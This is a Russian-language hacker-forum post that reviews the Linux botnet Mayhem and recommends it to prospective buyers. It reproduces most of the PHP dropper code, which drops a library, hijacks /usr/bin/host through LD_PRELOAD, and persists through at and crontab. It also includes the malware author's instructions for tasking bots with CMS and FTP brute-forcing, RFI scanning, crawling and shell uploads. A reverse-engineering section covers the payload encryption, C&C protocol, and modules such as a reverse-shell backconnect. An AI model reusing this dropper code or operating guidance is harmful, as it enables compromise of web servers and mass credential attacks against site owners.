Рад вас снова видеть на нашем форуме. В эти жаркие июльские дни делать абсолютно ничего не хочется. Полная лень и апатия.
В амебном состоянии я решил почитать твиттер. И наткнулся на множество сообщений о новой малваре под линукс под названием Mayhem. Ну покликал по ссылкам. Почитал. Первое упоминание более-менее информативное попалось от яндекса. Информация была скудная но интересная.
Это и привлекло мое внимание. Долгое гартание вниз привело меня к линку на блог MMD (Malware Must Die!).
C указанных урлов были стянуты сэмплы. Но не просто так а с некоторыми приключениями.
Первая часть файлов была отдана GOONER на растерзание.
Читаем плоды его работы:
===============================Анализ дроппера======================================
Источник: hXXp://www.havepaperswilltravel.com/newsite/
Сам файл который удалось снять:
Анализ будет детальным, так что надеюсь поймут все даже те кто не знаком с PHP.
Код:
<?php <Отправка HTTP заголовка:
header("Content-type: text/plain");
Код:
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
Код:
@system("killall -9 ".basename("/usr/bin/host"));
Код:
$so32 = "\x7f\x45\x4c\...";
$so64 = "\x7f\x45\....";
Код:
$arch = 64;
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
print "Arch is ".$arch."\n";
$so = $arch == 32 ? $so32 : $so64;
Следующий участок кода - проверка на читабельность /usr/bin/host используя ф-ю fopen (function.fopen)(параметр rb - чтение бинаря) и проверяет для какой системы скомпилирован бинарь
Код:
$f = fopen("/usr/bin/host", "rb");
if ($f) {
$n = unpack("C*", fread($f, 8));
$so[7] = sprintf("%c", $n[8]);
print "System is ".($n[8] == 9 ? "FreeBSD" : "Linux")."\n";
fclose($f);
}
Код:
print "SO dumped ".file_put_contents("./libworker.so", $so)."\n";
Код:
if (getenv("MAYHEM_DEBUG"))
exit(0);
Код:
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
Код:
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
$SCR ="#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\n";
$SCR .="crontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n";
@file_put_contents("1.sh", $SCR);
Код:
@chmod("1.sh", 0777);
1)Планировщик задач at (blcmdl)
Код:
@system("at now -f 1.sh", $ret);
if ($ret == 0) {
for ($i = 0; $i < 5; $i++) {
if (! @file_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
Код:
@system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
Проверка результата выполнения cron:
Код:
if (! @file_exists("1.sh"))
Код:
if ($ret == 0) {
for ($i = 0; $i < 62; $i++) {
if (! @file_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
}
print "Running straight\n";
Код:
@system("./1.sh");
Абсолютный путь
Код:
cd '/home/blablabla/docs/includes'
Код:
if [ -f './libworker.so' ];then killall -9 host;
Код:
export AU='blablabla.com/includes/infi.php'
Код:
export LD_PRELOAD=./libworker.so
Код:
Запускаем host для перехвата уязвимых библиотек
/usr/bin/host
Код:
unset LD_PRELOAD
Код:
crontab -l|grep -v '1\.sh'|grep -v crontab|crontab
Код:
rm 1.sh
На рисунках 1 и 2 показан процесс перехвата библиотечной функции
Вызов библиотечной функции
Вызов библиотечной функции с перехватом
===============================/анализ дроппера======================================
Далее мне очень захотелось расколупать бинарную часть мэйхема. Долго-ли коротко-ли, но случилось так, что все известные реверсеры спасовали перед линукс малварью. И тут я вспомнил своего старого и доброго знакомого kuddisorg. Отписался ему с просьбой провести реверс малвари под линь. Завязалась переписка в которой я сообщил название малвари. После непродолжительной паузы пришел примерно следующий ответ: "Это конечно прикольно .... реверсить собственный софт". Ну были у меня мысли что это его рук дело. Но в тот момент когда я читал ответ - улыбка чуть не порвала лицо. Вот горжусь я когда наши спецы не стоят на месте. Когда развиваются, растут в профессиональном плане. Было приятно узнать что автор именно он. В общем мы договорились на обзор и мне была выдана админка сего продукта:
Bots.png - основная страница.

Files.png - загрузка файлов для работы

NewTask.png - типы заданий

NewTaskBruteforce.png - пример установки задания на брутфорс

TaskList.png - список заданий

Да да да. Знаю. Топорно. Ну не умеет человек делать плюшки и красивости. У него все админки были в стиле минимализм и простота. Для рюшек/сисек-писек у него не хватало терпения никогда.
Полученное описание продукта и работы с ним:
Краткая инструкция по использованию сиситемы.
Логическая архитектура системы построена на трех основных вещах:
1. Данные
2. Боты
3. Задачи
1. У правление данными происходит во вкладке Files. Здесь, мы подгружаем вводные данные - хосты, пароли, и т.д. и можем смотреть результаты работы некоторых плагинов, например краулера
Что можно вгружать в Files
--списки паролей\пользователей, для брута фтп\цмс
--паттерны для рфи сканнера
--листы исключений для краулера
--входящие хосты, для краулера, брута фтп, или парсинга цмс
--линки к админкам цмс (джумла\вп) для их дальнейшего брута
2. New task - раздел создания задач. Архитектура программки плагинная, соответственно, подключая те, или иные плагины - мы выстраиваем цикл задач на выполнение. Например: краулить и параллельно искать цмс, складывать найденные результаты в соответствующую таблицу данных, параллельно - брутить цмс.
Любая задача имеет несколько основных параметров:
1. вводные данные. Взависимости от используемого плагина - хосты, или цмс.
2. количсетво потоков, которые обрабатывает бот. Чем больше, тем быстрее, но тем выше нагрузка на "носителя".
3. Задержка мыжде выполнениями запросов
4. Таймаут соеденения - критерий при котором бот будет считать целевой ресуср в даунтайме.
Далее выбираем соответствующий плагин (при необходимости - указываем требуемые параметры для плагина).
Для создания задачи - жмем add task.
3. Task list -список текущих и выполняемых заданий, их статусы и результаты.
Вновь созданные задания появляются в списке Task List. Для начала выполнения задания - назначаем группу ботов (об этом позже) и стартуем задания.
Результаты отработки задания имеют три статуса: отработан (зеленый), ошибка (красный), в очереди (желтый).
Результат выполнения задачи плагином можно посмотреть кликнув по активному плагину (белый цвет)
4. Bots. В случае удачного отсутка, боты появляются в данном разделе. Для выполнения задач, ботам должны быть назначены группы. Кол-во групп - неограничено.
На ботов, глобально распространяется 4 команды:
--stop - остановить всех
--wake - разбудить всех
--clear - очистить выбор
--select -- выбрать всех
Индивидуальный выбор производится кликом по чекбоксу напротив необходимого бота и нажатимем кнопки! Select.
Имя группы указывается в появившейся после выбора форме.
Но вопрос с реверсом остался открытым. Не можем же мы тупо написать что имеется функционал не проверив его никак. В этот момент наши друзья с coru.ws в очередной раз меня выручили. egyp7 согласился пореверсить бинарную часть. Ему были выданы два бинарника libworker32.so и libworker64.so
Читаем полученные данные:
===============================реверс======================================
Модуль грузится через избитый LD_PRELOAD используемый еще r3 руткитами и прочей *nix малварью с 90 годов.
Изначально использовался в механизме хотпатчей.
Пример загрузки модуля :
export LD_PRELOAD=./libworker[32/64].so
Пруф : http://phrack.org/issues/51/8.html
Смотрим как работает программа хост в которую динамически подгружается объектник mayhem'a через LD_PRELOAD
Код:
$ host -ta coru.ws
// debug output:
execve("/usr/bin/host", ["host", "-ta", "coru.ws"], [/* 18 vars */]) = 0
brk(0) = 0x7fbf095f8000
open("./libworker32.so", O_RDONLY) = 3
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0x\23\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=27288, ...}) = 0
...
Код:
$ lsof | grep libworker
COMMAND PID TID USER FD TYPE DEV SIZE/OFF NODE NAME
host 62111 egyp7-lab mem REG 9,2 26848 29753475 $PWD/libworker.so
lsof 62131 egyp7-lab mem REG 9,2 26848 29753475 $PWD/libworker.so
grep 62118 egyp7-lab mem REG 9,2 26848 29753475 $PWD/libworker.so
Код:
$ lsof -p 62118
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
grep 62118 egyp7-lab cwd DIR 9,2 4096 29753382 $PWD
grep 62118 egyp7-lab rtd DIR 9,2 4096 2 /
grep 62118 egyp7-lab txt REG 9,2 175488 23330835 /bin/grep
grep 62118 egyp7-lab mem REG 9,2 12582912 29753480 $PWD/.sd0 <- файловая система mayhem
grep 62118 egyp7-lab DEL REG 9,2 29753475 $PWD/libworker.so <- основной модуль mayhem
grep 62118 egyp7-lab mem REG 9,2 80712 38800333 /lib/x86_64-linux-gnu/libresolv-2.13.so
grep 62118 egyp7-lab mem REG 9,2 22928 38800338 /lib/x86_64-linux-gnu/libnss_dns-2.13.so
grep 62118 egyp7-lab mem REG 9,2 47616 38800348 /lib/x86_64-linux-gnu/libnss_files-2.13.so
grep 62118 egyp7-lab mem REG 9,2 1599504 38800331 /lib/x86_64-linux-gnu/libc-2.13.so
grep 62118 egyp7-lab mem REG 9,2 14768 38800346 /lib/x86_64-linux-gnu/libdl-2.13.so
grep 62118 egyp7-lab mem REG 9,2 136936 38800354 /lib/x86_64-linux-gnu/ld-2.13.so
grep 62118 egyp7-lab 0r CHR 1,3 0t0 1027 /dev/null
Декриптовка зашифрованных данных происходит по последующему алго :
Код:
int decrypt (int var1, int var2)
{
int result;
int decr1;
int decr2;
int temp_res;
result = 0;
decr1 = *var1;
decr2 = *(var1 + 4);
do
{
temp_res = result + *(var2 + 4 * (result & 3));
result -= 0x61C88647u;
decr1 += (decr2 + (16 * decr2 ^ (decr2 >> 5))) ^ temp_res;
decr2 += (result + *(var2 + 4 * ((result >> 11) & 3))) ^ (decr1 + (16 * decr1 ^ (decr1 >> 5)));
}
while ( result != 0xC6EF3720 );
*var1 = decr1;
*(var1 + 4) = decr2;
return result;
}
Ключ дешифровки также хранится в сегменте данных. Изначально, расшифровываются только первые восемь байт,
после расшифровки проверяется равны ли последние четыре байта значению 0xDEADBEEF.
Если это так, то первые четыре байта представляют длину зашифрованных данных. После этой нехитрой процедуры, начинается
декриптовка основного тела.
По сути алгоритм является упрощенным прототипом криптоалго XTEA:
Код:
#include <stdint.h>
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
* С&C вшивается скорее всего при сборке объектного модуля программы. Признаков DGA не обнаружено.Offset Размер в байтах Описание
0x0 4 Это поле содержит количество восеми-байтных блоков в конфигурации другими словами,
длину конфигурации в восемь-байтных блоков
0x4 4 Специальный маркер 0xDEADBEEF который используется в сравнении описанном выше
0x8 4 URL Адрес командного центра (C&C)
0xC 4 Время тайминга для выполнения цикла функции main в коде программы
0xF 4 Размер отображения файла скрытой файловой системы
0x14 4 Смещение с именем файла, содержащего скрытую файловую систему
Обращение к C&C происходит по последующему типу :
Код:
LOAD:000077AD 00000009 F,%s,%x\n
LOAD:000077B6 00000013 R,%d,%d,%d,%s,%s,\n
LOAD:000077C9 00000012 P,%u,%u,%u,%u,%u\n
Equ :
Uptime date, Architecture of the host, user and "uname -a" data
Как стало понятно из анализа структуры, программа использует скрытую файловую систему для хранения своих файлов.
Файловая система содержит файл, который создается во процессе инициализации. Имя файла скрытой файловой системы
определяется в конфигурации, оно, зачастую как указано в обзоре VB, бывает '.sd0'.(можно судить о том,
что это значение, зачастую, не меняется, либо является константой). Для работы с этой файловой системой испольльзуется
опенсорс библиотека fat_filelib(AT16/32 File System Library).
Исходник доступен тут : http://ultra-embedded.com/releases/fat_io_lib.zip
Библиотека содержит код для создания и работы с файловой системой FAT. Имеются также функции для работы с шифрованием фс,
что говорит о том, что в библиотеку были добавлен модуль для поддержки шифрования ФС(в оригинальной версии он отсутствует).
Каждый блок информации шифруется в 32 раунда посредством модифицированного алгоритма XTEA в режиме ECB с генерацией уникального
ключа для каждого блока.
В файловой системе содержатся следующие файлы (несколько модулей представленные объектными файлами и файлы конфигураций,
словарей для перебора, по сути штатный комплект обычных пентестов) :
Для их извлечения можно воспользоваться следующим кодесом https://github.com/freeoks/SD0_readerbackconnect.so
brute_rules
bruteforce.so
briteforceng.so
cms_rules
cmsurls.so
crawlerip.so
crawlerng.so
ftpbrute.so
heartbleed.so
opendns.so
pass
pharm_rules
pop3.so
pma_rules
rfiscan.so
users
wp_alt_user_brute
wpenum.so
wptheme.so
Как стало понятно модули libworker[32 и 64].so обладают двойным функционалом :
1) Дроппером из которого извлекаются нужные модули
2) Извлеченные модули позже по мере необходимости в динамике подключаются и взаимодействуют с libworker для передачи
полученной информации на сервер C&C.
Описание модулей :
rfiscan.so - ищет сайты доступные для проведения иньекции php скрипта с удаленного типа (OWASP:RFI), для тестов
использует http://www.google.com/humans.txt, скорее всего это было сделано для того чтобы запросы казались легитимными.
wpenum.so - используется для перечисления пользователей на ресурсе с движком Wordpress.
cmsurls.so - определяет CMS движок ресурса, используется в частности для идентификации страницы авторизации в Wordpress.
bruteforce.so - как понятно из названия, используется для перебора паролей на ресурсах с движками Joomla и Wordpress.
Ипользует словари pass (примерно 18к часто используемых паролей длинной от 1 до 32 символов) и users.
bruteforceng.so - также используется для брутфорса аутентификационных данных только в отличии от bruteforce.so использует немного
другой подход, а именно брутфорс на основе регулярных выражений. Использует cms_rules в котором как раз таки и собраны
общие правила для брутфорса посредством регулярок для многих известных CMS.
ftpbrute.so - для брута FTP учеток.
crawlerng.so - модуль для сбора необходимой информации с сайтов (или в простанародье кравлинг, пентесты знат толк),
работает алсо с протоколом https. Если использует pharm_rules, значит кравлинг идет на тематику фармы.
crawlerip.so - аналогичный модуль для кравлинга даже код и алго одинаковое (не понятно зачем раздвоение объектников, видимо автор
решил порадовать количеством модулей) единственный нюанс вместо DNS использует IP.
heartbleed.so - используется для проверки уязвимости CVE-2014-0160 (a.k.a Heаrtbleed)
backconnect.so - модуль для реверс бэкконнекта, можно указать ip и порт. (по дефолту 1337)
wptheme.so - модуль для залива шелов с паролем.
pop3.so - модуль для перебора паролей по протоколу POP3
opendns.so - модуль для перебора паролей по OpenDNS.
Реверсить модули смысла не имеет. Ибо ничего нового в них нет. Большая часть предназначена для брутфорса и автозалива, по сути очередной
автотурк. Вместо бинарей можно было использовать скрипты доступные уже давно для пентестов, их качество проверено работой и временем.
Тут и мультиарч и т.п. В целом все.
===============================/реверс======================================
Комментарии автора к реверсу:
>>crawlerip.so - аналогичный модуль для кравлинга даже код и алго одинаковое (не понятно зачем раздвоение объектников, видимо автор решил порадовать количеством модулей) единственный нюанс вместо DNS использует IP.
----- не правда) мод импользуется для поиска альтернативных веб-интерфейсов на не стандартных портах по протоклам хттп\хттпс
>>opendns.so - модуль для перебора паролей по OpenDNS.
-----нет, это плагин поиска опенрезолверов по заданным параметрам размера ответа пакетов
>>Вместо бинарей можно было использовать скрипты доступные уже давно для пентестов, их качество проверено работой и временем.
---- мейхем никогда не предназначался для пентестови не имеет с ними отнюдь ничего общего. мейхем предназначен для оппортунистических атак со свобным объемом данных от 100к+
Тестов данного ПО не проводилось ввиду ряда причин. Не думаю что это проблема. Автор всегда шел на встречу покупателям и предоставлял доступ к тестовой панели управления.
Что еще я могу вам сказать о продукте... Интересно, юзабельно. Продукт не массовый, хотя после слива яндексом и пойдет в паблик продажу. К нему стоит присмотреться. kuddisorg опытный кодер. Не стоит на месте и идет вперед. Территория охвата не нова, но мало заюзана по сравнению с windows ботнетами. Огорчает только неизвестность цены за данный продукт. Фактор значительный и многим интересный. Но ждать осталось не долго и скоро узнаем что к чему.
Материалы по теме:
http://www.f-secure.com/weblog/archives/00..._medium=twitter
https://www.virusbtn.com/virusbulletin/arch...vb201407-Mayhem
Отдельные благодарности:
GOONER - анализ дроппера
egyp7 - реверс и анализ linux сэмплов
kuddisorg - за предоставленные данные и админку.
Записки на полях, специально для xss.pro/ by Ar3s